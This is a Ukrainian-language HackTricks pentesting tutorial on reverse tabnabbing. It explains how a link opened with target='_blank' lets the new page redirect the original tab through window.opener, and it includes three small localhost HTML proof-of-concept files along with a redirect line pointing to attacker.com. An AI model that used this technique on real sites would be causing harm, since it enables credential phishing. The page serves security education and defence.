hacktricks/src/pentesting-web/reverse-tab-nabbing.md

82 lines
6.0 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

{{#include ../banners/hacktricks-training.md}}
# Опис
У ситуації, коли **зловмисник** може **контролювати** аргумент **`href`** тегу **`<a`** з атрибутом **`target="_blank" rel="opener"`**, який буде натиснутий жертвою, **зловмисник** **направляє** це **посилання** на веб-сайт під своїм контролем ( **шкідливий** **веб-сайт**). Потім, коли **жертва натискає** на посилання і переходить на веб-сайт зловмисника, цей **шкідливий** **веб-сайт** зможе **контролювати** **оригінальну** **сторінку** через об'єкт javascript **`window.opener`**.\
Якщо сторінка не має **`rel="opener"` але містить `target="_blank"` і також не має `rel="noopener"`**, вона також може бути вразливою.
Звичайний спосіб зловживання цією поведінкою полягає в тому, щоб **змінити місцезнаходження оригінального веб-сайту** через `window.opener.location = https://attacker.com/victim.html` на веб-сайт, контрольований зловмисником, який **схожий на оригінальний**, щоб він міг **імітувати** **форму входу** оригінального веб-сайту і запитувати у користувача облікові дані.
Однак зверніть увагу, що оскільки **зловмисник тепер може контролювати об'єкт вікна оригінального веб-сайту**, він може зловживати ним іншим чином для виконання **прихованих атак** (можливо, модифікуючи події javascript для витоку інформації на сервер, контрольований ним?)
# Огляд
## Зворотне посилання
Посилання між батьківськими та дочірніми сторінками, коли атрибут запобігання не використовується:
![https://owasp.org/www-community/assets/images/TABNABBING_OVERVIEW_WITH_LINK.png](https://owasp.org/www-community/assets/images/TABNABBING_OVERVIEW_WITH_LINK.png)
## Без зворотного посилання
Посилання між батьківськими та дочірніми сторінками, коли атрибут запобігання використовується:
![https://owasp.org/www-community/assets/images/TABNABBING_OVERVIEW_WITHOUT_LINK.png](https://owasp.org/www-community/assets/images/TABNABBING_OVERVIEW_WITHOUT_LINK.png)
## Приклади <a href="#examples" id="examples"></a>
Створіть наступні сторінки в папці та запустіть веб-сервер за допомогою `python3 -m http.server`\
Потім, **доступ** до `http://127.0.0.1:8000/`vulnerable.html, **натисніть** на посилання і зверніть увагу, як **URL** **оригінального** **веб-сайту** **змінюється**.
```html:vulnerable.html
<!DOCTYPE html>
<html>
<body>
<h1>Victim Site</h1>
<a href="http://127.0.0.1:8000/malicious.html" target="_blank" rel="opener">Controlled by the attacker</a>
</body>
</html>
```
```html:malicious.html
<!DOCTYPE html>
<html>
<body>
<script>
window.opener.location = "http://127.0.0.1:8000/malicious_redir.html";
</script>
</body>
</html>
```
```html:malicious_redir.html
<!DOCTYPE html>
<html>
<body>
<h1>New Malicious Site</h1>
</body>
</html>
```
## Доступні властивості <a href="#accessible-properties" id="accessible-properties"></a>
У сценарії, коли відбувається **крос-доменний** доступ (доступ через різні домени), властивості екземпляра класу **window** JavaScript, на який посилається об'єкт **opener** JavaScript, доступні для зловмисного сайту обмежені наступними:
- **`opener.closed`**: Ця властивість використовується для визначення, чи було закрито вікно, повертаючи булеве значення.
- **`opener.frames`**: Ця властивість надає доступ до всіх елементів iframe у поточному вікні.
- **`opener.length`**: Кількість елементів iframe, присутніх у поточному вікні, повертається цією властивістю.
- **`opener.opener`**: Посилання на вікно, яке відкрило поточне вікно, можна отримати через цю властивість.
- **`opener.parent`**: Ця властивість повертає батьківське вікно поточного вікна.
- **`opener.self`**: Доступ до самого поточного вікна надається цією властивістю.
- **`opener.top`**: Ця властивість повертає найвищу вікно браузера.
Однак у випадках, коли домени ідентичні, зловмисний сайт отримує доступ до всіх властивостей, які надає [**window**](https://developer.mozilla.org/en-US/docs/Web/API/Window) JavaScript об'єкт.
# Запобігання
Інформація про запобігання задокументована в [HTML5 Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/HTML5_Security_Cheat_Sheet.html#tabnabbing).
## Посилання
- [https://owasp.org/www-community/attacks/Reverse_Tabnabbing](https://owasp.org/www-community/attacks/Reverse_Tabnabbing)
{{#include ../banners/hacktricks-training.md}}